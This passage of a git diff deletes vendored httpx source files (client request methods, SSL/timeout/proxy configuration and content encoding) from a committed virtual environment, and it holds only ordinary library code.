follow_redirects: bool | UseClientDefault = USE_CLIENT_DEFAULT, - timeout: TimeoutTypes | UseClientDefault = USE_CLIENT_DEFAULT, - extensions: RequestExtensions | None = None, - ) -> Response: - """ - Send a `POST` request. - - **Parameters**: See `httpx.request`. - """ - return self.request( - "POST", - url, - content=content, - data=data, - files=files, - json=json, - params=params, - headers=headers, - cookies=cookies, - auth=auth, - follow_redirects=follow_redirects, - timeout=timeout, - extensions=extensions, - ) - - def put( - self, - url: URL | str, - *, - content: RequestContent | None = None, - data: RequestData | None = None, - files: RequestFiles | None = None, - json: typing.Any | None = None, - params: QueryParamTypes | None = None, - headers: HeaderTypes | None = None, - cookies: CookieTypes | None = None, - auth: AuthTypes | UseClientDefault = USE_CLIENT_DEFAULT, - follow_redirects: bool | UseClientDefault = USE_CLIENT_DEFAULT, - timeout: TimeoutTypes | UseClientDefault = USE_CLIENT_DEFAULT, - extensions: RequestExtensions | None = None, - ) -> Response: - """ - Send a `PUT` request. - - **Parameters**: See `httpx.request`. - """ - return self.request( - "PUT", - url, - content=content, - data=data, - files=files, - json=json, - params=params, - headers=headers, - cookies=cookies, - auth=auth, - follow_redirects=follow_redirects, - timeout=timeout, - extensions=extensions, - ) - - def patch( - self, - url: URL | str, - *, - content: RequestContent | None = None, - data: RequestData | None = None, - files: RequestFiles | None = None, - json: typing.Any | None = None, - params: QueryParamTypes | None = None, - headers: HeaderTypes | None = None, - cookies: CookieTypes | None = None, - auth: AuthTypes | UseClientDefault = USE_CLIENT_DEFAULT, - follow_redirects: bool | UseClientDefault = USE_CLIENT_DEFAULT, - timeout: TimeoutTypes | UseClientDefault = USE_CLIENT_DEFAULT, - extensions: RequestExtensions | None = None, - ) -> Response: - """ - Send a `PATCH` request. - - **Parameters**: See `httpx.request`. - """ - return self.request( - "PATCH", - url, - content=content, - data=data, - files=files, - json=json, - params=params, - headers=headers, - cookies=cookies, - auth=auth, - follow_redirects=follow_redirects, - timeout=timeout, - extensions=extensions, - ) - - def delete( - self, - url: URL | str, - *, - params: QueryParamTypes | None = None, - headers: HeaderTypes | None = None, - cookies: CookieTypes | None = None, - auth: AuthTypes | UseClientDefault = USE_CLIENT_DEFAULT, - follow_redirects: bool | UseClientDefault = USE_CLIENT_DEFAULT, - timeout: TimeoutTypes | UseClientDefault = USE_CLIENT_DEFAULT, - extensions: RequestExtensions | None = None, - ) -> Response: - """ - Send a `DELETE` request. - - **Parameters**: See `httpx.request`. - """ - return self.request( - "DELETE", - url, - params=params, - headers=headers, - cookies=cookies, - auth=auth, - follow_redirects=follow_redirects, - timeout=timeout, - extensions=extensions, - ) - - def close(self) -> None: - """ - Close transport and proxies. - """ - if self._state != ClientState.CLOSED: - self._state = ClientState.CLOSED - - self._transport.close() - for transport in self._mounts.values(): - if transport is not None: - transport.close() - - def __enter__(self: T) -> T: - if self._state != ClientState.UNOPENED: - msg = { - ClientState.OPENED: "Cannot open a client instance more than once.", - ClientState.CLOSED: ( - "Cannot reopen a client instance, once it has been closed." - ), - }[self._state] - raise RuntimeError(msg) - - self._state = ClientState.OPENED - - self._transport.__enter__() - for transport in self._mounts.values(): - if transport is not None: - transport.__enter__() - return self - - def __exit__( - self, - exc_type: type[BaseException] | None = None, - exc_value: BaseException | None = None, - traceback: TracebackType | None = None, - ) -> None: - self._state = ClientState.CLOSED - - self._transport.__exit__(exc_type, exc_value, traceback) - for transport in self._mounts.values(): - if transport is not None: - transport.__exit__(exc_type, exc_value, traceback) - - -class AsyncClient(BaseClient): - """ - An asynchronous HTTP client, with connection pooling, HTTP/2, redirects, - cookie persistence, etc. - - It can be shared between tasks. - - Usage: - - ```python - >>> async with httpx.AsyncClient() as client: - >>> response = await client.get('https://example.org') - ``` - - **Parameters:** - - * **auth** - *(optional)* An authentication class to use when sending - requests. - * **params** - *(optional)* Query parameters to include in request URLs, as - a string, dictionary, or sequence of two-tuples. - * **headers** - *(optional)* Dictionary of HTTP headers to include when - sending requests. - * **cookies** - *(optional)* Dictionary of Cookie items to include when - sending requests. - * **verify** - *(optional)* Either `True` to use an SSL context with the - default CA bundle, `False` to disable verification, or an instance of - `ssl.SSLContext` to use a custom context. - * **http2** - *(optional)* A boolean indicating if HTTP/2 support should be - enabled. Defaults to `False`. - * **proxy** - *(optional)* A proxy URL where all the traffic should be routed. - * **timeout** - *(optional)* The timeout configuration to use when sending - requests. - * **limits** - *(optional)* The limits configuration to use. - * **max_redirects** - *(optional)* The maximum number of redirect responses - that should be followed. - * **base_url** - *(optional)* A URL to use as the base when building - request URLs. - * **transport** - *(optional)* A transport class to use for sending requests - over the network. - * **trust_env** - *(optional)* Enables or disables usage of environment - variables for configuration. - * **default_encoding** - *(optional)* The default encoding to use for decoding - response text, if no charset information is included in a response Content-Type - header. Set to a callable for automatic character set detection. Default: "utf-8". - """ - - def __init__( - self, - *, - auth: AuthTypes | None = None, - params: QueryParamTypes | None = None, - headers: HeaderTypes | None = None, - cookies: CookieTypes | None = None, - verify: ssl.SSLContext | str | bool = True, - cert: CertTypes | None = None, - http1: bool = True, - http2: bool = False, - proxy: ProxyTypes | None = None, - mounts: None | (typing.Mapping[str, AsyncBaseTransport | None]) = None, - timeout: TimeoutTypes = DEFAULT_TIMEOUT_CONFIG, - follow_redirects: bool = False, - limits: Limits = DEFAULT_LIMITS, - max_redirects: int = DEFAULT_MAX_REDIRECTS, - event_hooks: None | (typing.Mapping[str, list[EventHook]]) = None, - base_url: URL | str = "", - transport: AsyncBaseTransport | None = None, - trust_env: bool = True, - default_encoding: str | typing.Callable[[bytes], str] = "utf-8", - ) -> None: - super().__init__( - auth=auth, - params=params, - headers=headers, - cookies=cookies, - timeout=timeout, - follow_redirects=follow_redirects, - max_redirects=max_redirects, - event_hooks=event_hooks, - base_url=base_url, - trust_env=trust_env, - default_encoding=default_encoding, - ) - - if http2: - try: - import h2 # noqa - except ImportError: # pragma: no cover - raise ImportError( - "Using http2=True, but the 'h2' package is not installed. " - "Make sure to install httpx using `pip install httpx[http2]`." - ) from None - - allow_env_proxies = trust_env and transport is None - proxy_map = self._get_proxy_map(proxy, allow_env_proxies) - - self._transport = self._init_transport( - verify=verify, - cert=cert, - trust_env=trust_env, - http1=http1, - http2=http2, - limits=limits, - transport=transport, - ) - - self._mounts: dict[URLPattern, AsyncBaseTransport | None] = { - URLPattern(key): None - if proxy is None - else self._init_proxy_transport( - proxy, - verify=verify, - cert=cert, - trust_env=trust_env, - http1=http1, - http2=http2, - limits=limits, - ) - for key, proxy in proxy_map.items() - } - if mounts is not None: - self._mounts.update( - {URLPattern(key): transport for key, transport in mounts.items()} - ) - self._mounts = dict(sorted(self._mounts.items())) - - def _init_transport( - self, - verify: ssl.SSLContext | str | bool = True, - cert: CertTypes | None = None, - trust_env: bool = True, - http1: bool = True, - http2: bool = False, - limits: Limits = DEFAULT_LIMITS, - transport: AsyncBaseTransport | None = None, - ) -> AsyncBaseTransport: - if transport is not None: - return transport - - return AsyncHTTPTransport( - verify=verify, - cert=cert, - trust_env=trust_env, - http1=http1, - http2=http2, - limits=limits, - ) - - def _init_proxy_transport( - self, - proxy: Proxy, - verify: ssl.SSLContext | str | bool = True, - cert: CertTypes | None = None, - trust_env: bool = True, - http1: bool = True, - http2: bool = False, - limits: Limits = DEFAULT_LIMITS, - ) -> AsyncBaseTransport: - return AsyncHTTPTransport( - verify=verify, - cert=cert, - trust_env=trust_env, - http1=http1, - http2=http2, - limits=limits, - proxy=proxy, - ) - - def _transport_for_url(self, url: URL) -> AsyncBaseTransport: - """ - Returns the transport instance that should be used for a given URL. - This will either be the standard connection pool, or a proxy. - """ - for pattern, transport in self._mounts.items(): - if pattern.matches(url): - return self._transport if transport is None else transport - - return self._transport - - async def request( - self, - method: str, - url: URL | str, - *, - content: RequestContent | None = None, - data: RequestData | None = None, - files: RequestFiles | None = None, - json: typing.Any | None = None, - params: QueryParamTypes | None = None, - headers: HeaderTypes | None = None, - cookies: CookieTypes | None = None, - auth: AuthTypes | UseClientDefault | None = USE_CLIENT_DEFAULT, - follow_redirects: bool | UseClientDefault = USE_CLIENT_DEFAULT, - timeout: TimeoutTypes | UseClientDefault = USE_CLIENT_DEFAULT, - extensions: RequestExtensions | None = None, - ) -> Response: - """ - Build and send a request. - - Equivalent to: - - ```python - request = client.build_request(...) - response = await client.send(request, ...) - ``` - - See `AsyncClient.build_request()`, `AsyncClient.send()` - and [Merging of configuration][0] for how the various parameters - are merged with client-level configuration. - - [0]: /advanced/clients/#merging-of-configuration - """ - - if cookies is not None: # pragma: no cover - message = ( - "Setting per-request cookies=<...> is being deprecated, because " - "the expected behaviour on cookie persistence is ambiguous. Set " - "cookies directly on the client instance instead." - ) - warnings.warn(message, DeprecationWarning, stacklevel=2) - - request = self.build_request( - method=method, - url=url, - content=content, - data=data, - files=files, - json=json, - params=params, - headers=headers, - cookies=cookies, - timeout=timeout, - extensions=extensions, - ) - return await self.send(request, auth=auth, follow_redirects=follow_redirects) - - @asynccontextmanager - async def stream( - self, - method: str, - url: URL | str, - *, - content: RequestContent | None = None, - data: RequestData | None = None, - files: RequestFiles | None = None, - json: typing.Any | None = None, - params: QueryParamTypes | None = None, - headers: HeaderTypes | None = None, - cookies: CookieTypes | None = None, - auth: AuthTypes | UseClientDefault | None = USE_CLIENT_DEFAULT, - follow_redirects: bool | UseClientDefault = USE_CLIENT_DEFAULT, - timeout: TimeoutTypes | UseClientDefault = USE_CLIENT_DEFAULT, - extensions: RequestExtensions | None = None, - ) -> typing.AsyncIterator[Response]: - """ - Alternative to `httpx.request()` that streams the response body - instead of loading it into memory at once. - - **Parameters**: See `httpx.request`. - - See also: [Streaming Responses][0] - - [0]: /quickstart#streaming-responses - """ - request = self.build_request( - method=method, - url=url, - content=content, - data=data, - files=files, - json=json, - params=params, - headers=headers, - cookies=cookies, - timeout=timeout, - extensions=extensions, - ) - response = await self.send( - request=request, - auth=auth, - follow_redirects=follow_redirects, - stream=True, - ) - try: - yield response - finally: - await response.aclose() - - async def send( - self, - request: Request, - *, - stream: bool = False, - auth: AuthTypes | UseClientDefault | None = USE_CLIENT_DEFAULT, - follow_redirects: bool | UseClientDefault = USE_CLIENT_DEFAULT, - ) -> Response: - """ - Send a request. - - The request is sent as-is, unmodified. - - Typically you'll want to build one with `AsyncClient.build_request()` - so that any client-level configuration is merged into the request, - but passing an explicit `httpx.Request()` is supported as well. - - See also: [Request instances][0] - - [0]: /advanced/clients/#request-instances - """ - if self._state == ClientState.CLOSED: - raise RuntimeError("Cannot send a request, as the client has been closed.") - - self._state = ClientState.OPENED - follow_redirects = ( - self.follow_redirects - if isinstance(follow_redirects, UseClientDefault) - else follow_redirects - ) - - self._set_timeout(request) - - auth = self._build_request_auth(request, auth) - - response = await self._send_handling_auth( - request, - auth=auth, - follow_redirects=follow_redirects, - history=[], - ) - try: - if not stream: - await response.aread() - - return response - - except BaseException as exc: - await response.aclose() - raise exc - - async def _send_handling_auth( - self, - request: Request, - auth: Auth, - follow_redirects: bool, - history: list[Response], - ) -> Response: - auth_flow = auth.async_auth_flow(request) - try: - request = await auth_flow.__anext__() - - while True: - response = await self._send_handling_redirects( - request, - follow_redirects=follow_redirects, - history=history, - ) - try: - try: - next_request = await auth_flow.asend(response) - except StopAsyncIteration: - return response - - response.history = list(history) - await response.aread() - request = next_request - history.append(response) - - except BaseException as exc: - await response.aclose() - raise exc - finally: - await auth_flow.aclose() - - async def _send_handling_redirects( - self, - request: Request, - follow_redirects: bool, - history: list[Response], - ) -> Response: - while True: - if len(history) > self.max_redirects: - raise TooManyRedirects( - "Exceeded maximum allowed redirects.", request=request - ) - - for hook in self._event_hooks["request"]: - await hook(request) - - response = await self._send_single_request(request) - try: - for hook in self._event_hooks["response"]: - await hook(response) - - response.history = list(history) - - if not response.has_redirect_location: - return response - - request = self._build_redirect_request(request, response) - history = history + [response] - - if follow_redirects: - await response.aread() - else: - response.next_request = request - return response - - except BaseException as exc: - await response.aclose() - raise exc - - async def _send_single_request(self, request: Request) -> Response: - """ - Sends a single request, without handling any redirections. - """ - transport = self._transport_for_url(request.url) - start = time.perf_counter() - - if not isinstance(request.stream, AsyncByteStream): - raise RuntimeError( - "Attempted to send an sync request with an AsyncClient instance." - ) - - with request_context(request=request): - response = await transport.handle_async_request(request) - - assert isinstance(response.stream, AsyncByteStream) - response.request = request - response.stream = BoundAsyncStream( - response.stream, response=response, start=start - ) - self.cookies.extract_cookies(response) - response.default_encoding = self._default_encoding - - logger.info( - 'HTTP Request: %s %s "%s %d %s"', - request.method, - request.url, - response.http_version, - response.status_code, - response.reason_phrase, - ) - - return response - - async def get( - self, - url: URL | str, - *, - params: QueryParamTypes | None = None, - headers: HeaderTypes | None = None, - cookies: CookieTypes | None = None, - auth: AuthTypes | UseClientDefault | None = USE_CLIENT_DEFAULT, - follow_redirects: bool | UseClientDefault = USE_CLIENT_DEFAULT, - timeout: TimeoutTypes | UseClientDefault = USE_CLIENT_DEFAULT, - extensions: RequestExtensions | None = None, - ) -> Response: - """ - Send a `GET` request. - - **Parameters**: See `httpx.request`. - """ - return await self.request( - "GET", - url, - params=params, - headers=headers, - cookies=cookies, - auth=auth, - follow_redirects=follow_redirects, - timeout=timeout, - extensions=extensions, - ) - - async def options( - self, - url: URL | str, - *, - params: QueryParamTypes | None = None, - headers: HeaderTypes | None = None, - cookies: CookieTypes | None = None, - auth: AuthTypes | UseClientDefault = USE_CLIENT_DEFAULT, - follow_redirects: bool | UseClientDefault = USE_CLIENT_DEFAULT, - timeout: TimeoutTypes | UseClientDefault = USE_CLIENT_DEFAULT, - extensions: RequestExtensions | None = None, - ) -> Response: - """ - Send an `OPTIONS` request. - - **Parameters**: See `httpx.request`. - """ - return await self.request( - "OPTIONS", - url, - params=params, - headers=headers, - cookies=cookies, - auth=auth, - follow_redirects=follow_redirects, - timeout=timeout, - extensions=extensions, - ) - - async def head( - self, - url: URL | str, - *, - params: QueryParamTypes | None = None, - headers: HeaderTypes | None = None, - cookies: CookieTypes | None = None, - auth: AuthTypes | UseClientDefault = USE_CLIENT_DEFAULT, - follow_redirects: bool | UseClientDefault = USE_CLIENT_DEFAULT, - timeout: TimeoutTypes | UseClientDefault = USE_CLIENT_DEFAULT, - extensions: RequestExtensions | None = None, - ) -> Response: - """ - Send a `HEAD` request. - - **Parameters**: See `httpx.request`. - """ - return await self.request( - "HEAD", - url, - params=params, - headers=headers, - cookies=cookies, - auth=auth, - follow_redirects=follow_redirects, - timeout=timeout, - extensions=extensions, - ) - - async def post( - self, - url: URL | str, - *, - content: RequestContent | None = None, - data: RequestData | None = None, - files: RequestFiles | None = None, - json: typing.Any | None = None, - params: QueryParamTypes | None = None, - headers: HeaderTypes | None = None, - cookies: CookieTypes | None = None, - auth: AuthTypes | UseClientDefault = USE_CLIENT_DEFAULT, - follow_redirects: bool | UseClientDefault = USE_CLIENT_DEFAULT, - timeout: TimeoutTypes | UseClientDefault = USE_CLIENT_DEFAULT, - extensions: RequestExtensions | None = None, - ) -> Response: - """ - Send a `POST` request. - - **Parameters**: See `httpx.request`. - """ - return await self.request( - "POST", - url, - content=content, - data=data, - files=files, - json=json, - params=params, - headers=headers, - cookies=cookies, - auth=auth, - follow_redirects=follow_redirects, - timeout=timeout, - extensions=extensions, - ) - - async def put( - self, - url: URL | str, - *, - content: RequestContent | None = None, - data: RequestData | None = None, - files: RequestFiles | None = None, - json: typing.Any | None = None, - params: QueryParamTypes | None = None, - headers: HeaderTypes | None = None, - cookies: CookieTypes | None = None, - auth: AuthTypes | UseClientDefault = USE_CLIENT_DEFAULT, - follow_redirects: bool | UseClientDefault = USE_CLIENT_DEFAULT, - timeout: TimeoutTypes | UseClientDefault = USE_CLIENT_DEFAULT, - extensions: RequestExtensions | None = None, - ) -> Response: - """ - Send a `PUT` request. - - **Parameters**: See `httpx.request`. - """ - return await self.request( - "PUT", - url, - content=content, - data=data, - files=files, - json=json, - params=params, - headers=headers, - cookies=cookies, - auth=auth, - follow_redirects=follow_redirects, - timeout=timeout, - extensions=extensions, - ) - - async def patch( - self, - url: URL | str, - *, - content: RequestContent | None = None, - data: RequestData | None = None, - files: RequestFiles | None = None, - json: typing.Any | None = None, - params: QueryParamTypes | None = None, - headers: HeaderTypes | None = None, - cookies: CookieTypes | None = None, - auth: AuthTypes | UseClientDefault = USE_CLIENT_DEFAULT, - follow_redirects: bool | UseClientDefault = USE_CLIENT_DEFAULT, - timeout: TimeoutTypes | UseClientDefault = USE_CLIENT_DEFAULT, - extensions: RequestExtensions | None = None, - ) -> Response: - """ - Send a `PATCH` request. - - **Parameters**: See `httpx.request`. - """ - return await self.request( - "PATCH", - url, - content=content, - data=data, - files=files, - json=json, - params=params, - headers=headers, - cookies=cookies, - auth=auth, - follow_redirects=follow_redirects, - timeout=timeout, - extensions=extensions, - ) - - async def delete( - self, - url: URL | str, - *, - params: QueryParamTypes | None = None, - headers: HeaderTypes | None = None, - cookies: CookieTypes | None = None, - auth: AuthTypes | UseClientDefault = USE_CLIENT_DEFAULT, - follow_redirects: bool | UseClientDefault = USE_CLIENT_DEFAULT, - timeout: TimeoutTypes | UseClientDefault = USE_CLIENT_DEFAULT, - extensions: RequestExtensions | None = None, - ) -> Response: - """ - Send a `DELETE` request. - - **Parameters**: See `httpx.request`. - """ - return await self.request( - "DELETE", - url, - params=params, - headers=headers, - cookies=cookies, - auth=auth, - follow_redirects=follow_redirects, - timeout=timeout, - extensions=extensions, - ) - - async def aclose(self) -> None: - """ - Close transport and proxies. - """ - if self._state != ClientState.CLOSED: - self._state = ClientState.CLOSED - - await self._transport.aclose() - for proxy in self._mounts.values(): - if proxy is not None: - await proxy.aclose() - - async def __aenter__(self: U) -> U: - if self._state != ClientState.UNOPENED: - msg = { - ClientState.OPENED: "Cannot open a client instance more than once.", - ClientState.CLOSED: ( - "Cannot reopen a client instance, once it has been closed." - ), - }[self._state] - raise RuntimeError(msg) - - self._state = ClientState.OPENED - - await self._transport.__aenter__() - for proxy in self._mounts.values(): - if proxy is not None: - await proxy.__aenter__() - return self - - async def __aexit__( - self, - exc_type: type[BaseException] | None = None, - exc_value: BaseException | None = None, - traceback: TracebackType | None = None, - ) -> None: - self._state = ClientState.CLOSED - - await self._transport.__aexit__(exc_type, exc_value, traceback) - for proxy in self._mounts.values(): - if proxy is not None: - await proxy.__aexit__(exc_type, exc_value, traceback) diff --git a/venv/Lib/site-packages/httpx/_config.py b/venv/Lib/site-packages/httpx/_config.py deleted file mode 100644 index 467a6c90ae269babe3af7963d9d7c78b9f012268..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpx/_config.py +++ /dev/null @@ -1,248 +0,0 @@ -from __future__ import annotations - -import os -import typing - -from ._models import Headers -from ._types import CertTypes, HeaderTypes, TimeoutTypes -from ._urls import URL - -if typing.TYPE_CHECKING: - import ssl # pragma: no cover - -__all__ = ["Limits", "Proxy", "Timeout", "create_ssl_context"] - - -class UnsetType: - pass # pragma: no cover - - -UNSET = UnsetType() - - -def create_ssl_context( - verify: ssl.SSLContext | str | bool = True, - cert: CertTypes | None = None, - trust_env: bool = True, -) -> ssl.SSLContext: - import ssl - import warnings - - import certifi - - if verify is True: - if trust_env and os.environ.get("SSL_CERT_FILE"): # pragma: nocover - ctx = ssl.create_default_context(cafile=os.environ["SSL_CERT_FILE"]) - elif trust_env and os.environ.get("SSL_CERT_DIR"): # pragma: nocover - ctx = ssl.create_default_context(capath=os.environ["SSL_CERT_DIR"]) - else: - # Default case... - ctx = ssl.create_default_context(cafile=certifi.where()) - elif verify is False: - ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) - ctx.check_hostname = False - ctx.verify_mode = ssl.CERT_NONE - elif isinstance(verify, str): # pragma: nocover - message = ( - "`verify=` is deprecated. " - "Use `verify=ssl.create_default_context(cafile=...)` " - "or `verify=ssl.create_default_context(capath=...)` instead." - ) - warnings.warn(message, DeprecationWarning) - if os.path.isdir(verify): - return ssl.create_default_context(capath=verify) - return ssl.create_default_context(cafile=verify) - else: - ctx = verify - - if cert: # pragma: nocover - message = ( - "`cert=...` is deprecated. Use `verify=` instead," - "with `.load_cert_chain()` to configure the certificate chain." - ) - warnings.warn(message, DeprecationWarning) - if isinstance(cert, str): - ctx.load_cert_chain(cert) - else: - ctx.load_cert_chain(*cert) - - return ctx - - -class Timeout: - """ - Timeout configuration. - - **Usage**: - - Timeout(None) # No timeouts. - Timeout(5.0) # 5s timeout on all operations. - Timeout(None, connect=5.0) # 5s timeout on connect, no other timeouts. - Timeout(5.0, connect=10.0) # 10s timeout on connect. 5s timeout elsewhere. - Timeout(5.0, pool=None) # No timeout on acquiring connection from pool. - # 5s timeout elsewhere. - """ - - def __init__( - self, - timeout: TimeoutTypes | UnsetType = UNSET, - *, - connect: None | float | UnsetType = UNSET, - read: None | float | UnsetType = UNSET, - write: None | float | UnsetType = UNSET, - pool: None | float | UnsetType = UNSET, - ) -> None: - if isinstance(timeout, Timeout): - # Passed as a single explicit Timeout. - assert connect is UNSET - assert read is UNSET - assert write is UNSET - assert pool is UNSET - self.connect = timeout.connect # type: typing.Optional[float] - self.read = timeout.read # type: typing.Optional[float] - self.write = timeout.write # type: typing.Optional[float] - self.pool = timeout.pool # type: typing.Optional[float] - elif isinstance(timeout, tuple): - # Passed as a tuple. - self.connect = timeout[0] - self.read = timeout[1] - self.write = None if len(timeout) < 3 else timeout[2] - self.pool = None if len(timeout) < 4 else timeout[3] - elif not ( - isinstance(connect, UnsetType) - or isinstance(read, UnsetType) - or isinstance(write, UnsetType) - or isinstance(pool, UnsetType) - ): - self.connect = connect - self.read = read - self.write = write - self.pool = pool - else: - if isinstance(timeout, UnsetType): - raise ValueError( - "httpx.Timeout must either include a default, or set all " - "four parameters explicitly." - ) - self.connect = timeout if isinstance(connect, UnsetType) else connect - self.read = timeout if isinstance(read, UnsetType) else read - self.write = timeout if isinstance(write, UnsetType) else write - self.pool = timeout if isinstance(pool, UnsetType) else pool - - def as_dict(self) -> dict[str, float | None]: - return { - "connect": self.connect, - "read": self.read, - "write": self.write, - "pool": self.pool, - } - - def __eq__(self, other: typing.Any) -> bool: - return ( - isinstance(other, self.__class__) - and self.connect == other.connect - and self.read == other.read - and self.write == other.write - and self.pool == other.pool - ) - - def __repr__(self) -> str: - class_name = self.__class__.__name__ - if len({self.connect, self.read, self.write, self.pool}) == 1: - return f"{class_name}(timeout={self.connect})" - return ( - f"{class_name}(connect={self.connect}, " - f"read={self.read}, write={self.write}, pool={self.pool})" - ) - - -class Limits: - """ - Configuration for limits to various client behaviors. - - **Parameters:** - - * **max_connections** - The maximum number of concurrent connections that may be - established. - * **max_keepalive_connections** - Allow the connection pool to maintain - keep-alive connections below this point. Should be less than or equal - to `max_connections`. - * **keepalive_expiry** - Time limit on idle keep-alive connections in seconds. - """ - - def __init__( - self, - *, - max_connections: int | None = None, - max_keepalive_connections: int | None = None, - keepalive_expiry: float | None = 5.0, - ) -> None: - self.max_connections = max_connections - self.max_keepalive_connections = max_keepalive_connections - self.keepalive_expiry = keepalive_expiry - - def __eq__(self, other: typing.Any) -> bool: - return ( - isinstance(other, self.__class__) - and self.max_connections == other.max_connections - and self.max_keepalive_connections == other.max_keepalive_connections - and self.keepalive_expiry == other.keepalive_expiry - ) - - def __repr__(self) -> str: - class_name = self.__class__.__name__ - return ( - f"{class_name}(max_connections={self.max_connections}, " - f"max_keepalive_connections={self.max_keepalive_connections}, " - f"keepalive_expiry={self.keepalive_expiry})" - ) - - -class Proxy: - def __init__( - self, - url: URL | str, - *, - ssl_context: ssl.SSLContext | None = None, - auth: tuple[str, str] | None = None, - headers: HeaderTypes | None = None, - ) -> None: - url = URL(url) - headers = Headers(headers) - - if url.scheme not in ("http", "https", "socks5", "socks5h"): - raise ValueError(f"Unknown scheme for proxy URL {url!r}") - - if url.username or url.password: - # Remove any auth credentials from the URL. - auth = (url.username, url.password) - url = url.copy_with(username=None, password=None) - - self.url = url - self.auth = auth - self.headers = headers - self.ssl_context = ssl_context - - @property - def raw_auth(self) -> tuple[bytes, bytes] | None: - # The proxy authentication as raw bytes. - return ( - None - if self.auth is None - else (self.auth[0].encode("utf-8"), self.auth[1].encode("utf-8")) - ) - - def __repr__(self) -> str: - # The authentication is represented with the password component masked. - auth = (self.auth[0], "********") if self.auth else None - - # Build a nice concise representation. - url_str = f"{str(self.url)!r}" - auth_str = f", auth={auth!r}" if auth else "" - headers_str = f", headers={dict(self.headers)!r}" if self.headers else "" - return f"Proxy({url_str}{auth_str}{headers_str})" - - -DEFAULT_TIMEOUT_CONFIG = Timeout(timeout=5.0) -DEFAULT_LIMITS = Limits(max_connections=100, max_keepalive_connections=20) -DEFAULT_MAX_REDIRECTS = 20 diff --git a/venv/Lib/site-packages/httpx/_content.py b/venv/Lib/site-packages/httpx/_content.py deleted file mode 100644 index 6f479a0885f723b7395843d41164a87041820776..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpx/_content.py +++ /dev/null @@ -1,240 +0,0 @@ -from __future__ import annotations - -import inspect -import warnings -from json import dumps as json_dumps -from typing import ( - Any, - AsyncIterable, - AsyncIterator, - Iterable, - Iterator, - Mapping, -) -from urllib.parse import urlencode - -from ._exceptions import StreamClosed, StreamConsumed -from ._multipart import MultipartStream -from ._types import ( - AsyncByteStream, - RequestContent, - RequestData, - RequestFiles, - ResponseContent, - SyncByteStream, -) -from ._utils import peek_filelike_length, primitive_value_to_str - -__all__ = ["ByteStream"] - - -class ByteStream(AsyncByteStream, SyncByteStream): - def __init__(self, stream: bytes) -> None: - self._stream = stream - - def __iter__(self) -> Iterator[bytes]: - yield self._stream - - async def __aiter__(self) -> AsyncIterator[bytes]: - yield self._stream - - -class IteratorByteStream(SyncByteStream): - CHUNK_SIZE = 65_536 - - def __init__(self, stream: Iterable[bytes]) -> None: - self._stream = stream - self._is_stream_consumed = False - self._is_generator = inspect.isgenerator(stream) - - def __iter__(self) -> Iterator[bytes]: - if self._is_stream_consumed and self._is_generator: - raise StreamConsumed() - - self._is_stream_consumed = True - if hasattr(self._stream, "read"): - # File-like interfaces should use 'read' directly. - chunk = self._stream.read(self.CHUNK_SIZE) - while chunk: - yield chunk - chunk = self._stream.read(self.CHUNK_SIZE) - else: - # Otherwise iterate. - for part in self._stream: - yield part - - -class AsyncIteratorByteStream(AsyncByteStream): - CHUNK_SIZE = 65_536 - - def __init__(self, stream: AsyncIterable[bytes]) -> None: - self._stream = stream - self._is_stream_consumed = False - self._is_generator = inspect.isasyncgen(stream) - - async def __aiter__(self) -> AsyncIterator[bytes]: - if self._is_stream_consumed and self._is_generator: - raise StreamConsumed() - - self._is_stream_consumed = True - if hasattr(self._stream, "aread"): - # File-like interfaces should use 'aread' directly. - chunk = await self._stream.aread(self.CHUNK_SIZE) - while chunk: - yield chunk - chunk = await self._stream.aread(self.CHUNK_SIZE) - else: - # Otherwise iterate. - async for part in self._stream: - yield part - - -class UnattachedStream(AsyncByteStream, SyncByteStream): - """ - If a request or response is serialized using pickle, then it is no longer - attached to a stream for I/O purposes. Any stream operations should result - in `httpx.StreamClosed`. - """ - - def __iter__(self) -> Iterator[bytes]: - raise StreamClosed() - - async def __aiter__(self) -> AsyncIterator[bytes]: - raise StreamClosed() - yield b"" # pragma: no cover - - -def encode_content( - content: str | bytes | Iterable[bytes] | AsyncIterable[bytes], -) -> tuple[dict[str, str], SyncByteStream | AsyncByteStream]: - if isinstance(content, (bytes, str)): - body = content.encode("utf-8") if isinstance(content, str) else content - content_length = len(body) - headers = {"Content-Length": str(content_length)} if body else {} - return headers, ByteStream(body) - - elif isinstance(content, Iterable) and not isinstance(content, dict): - # `not isinstance(content, dict)` is a bit oddly specific, but it - # catches a case that's easy for users to make in error, and would - # otherwise pass through here, like any other bytes-iterable, - # because `dict` happens to be iterable. See issue #2491. - content_length_or_none = peek_filelike_length(content) - - if content_length_or_none is None: - headers = {"Transfer-Encoding": "chunked"} - else: - headers = {"Content-Length": str(content_length_or_none)} - return headers, IteratorByteStream(content) # type: ignore - - elif isinstance(content, AsyncIterable): - headers = {"Transfer-Encoding": "chunked"} - return headers, AsyncIteratorByteStream(content) - - raise TypeError(f"Unexpected type for 'content', {type(content)!r}") - - -def encode_urlencoded_data( - data: RequestData, -) -> tuple[dict[str, str], ByteStream]: - plain_data = [] - for key, value in data.items(): - if isinstance(value, (list, tuple)): - plain_data.extend([(key, primitive_value_to_str(item)) for item in value]) - else: - plain_data.append((key, primitive_value_to_str(value))) - body = urlencode(plain_data, doseq=True).encode("utf-8") - content_length = str(len(body)) - content_type = "application/x-www-form-urlencoded" - headers = {"Content-Length": content_length, "Content-Type": content_type} - return headers, ByteStream(body) - - -def encode_multipart_data( - data: RequestData, files: RequestFiles, boundary: bytes | None -) -> tuple[dict[str, str], MultipartStream]: - multipart = MultipartStream(data=data, files=files, boundary=boundary) - headers = multipart.get_headers() - return headers, multipart - - -def encode_text(text: str) -> tuple[dict[str, str], ByteStream]: - body = text.encode("utf-8") - content_length = str(len(body)) - content_type = "text/plain; charset=utf-8" - headers = {"Content-Length": content_length, "Content-Type": content_type} - return headers, ByteStream(body) - - -def encode_html(html: str) -> tuple[dict[str, str], ByteStream]: - body = html.encode("utf-8") - content_length = str(len(body)) - content_type = "text/html; charset=utf-8" - headers = {"Content-Length": content_length, "Content-Type": content_type} - return headers, ByteStream(body) - - -def encode_json(json: Any) -> tuple[dict[str, str], ByteStream]: - body = json_dumps( - json, ensure_ascii=False, separators=(",", ":"), allow_nan=False - ).encode("utf-8") - content_length = str(len(body)) - content_type = "application/json" - headers = {"Content-Length": content_length, "Content-Type": content_type} - return headers, ByteStream(body) - - -def encode_request( - content: RequestContent | None = None, - data: RequestData | None = None, - files: RequestFiles | None = None, - json: Any 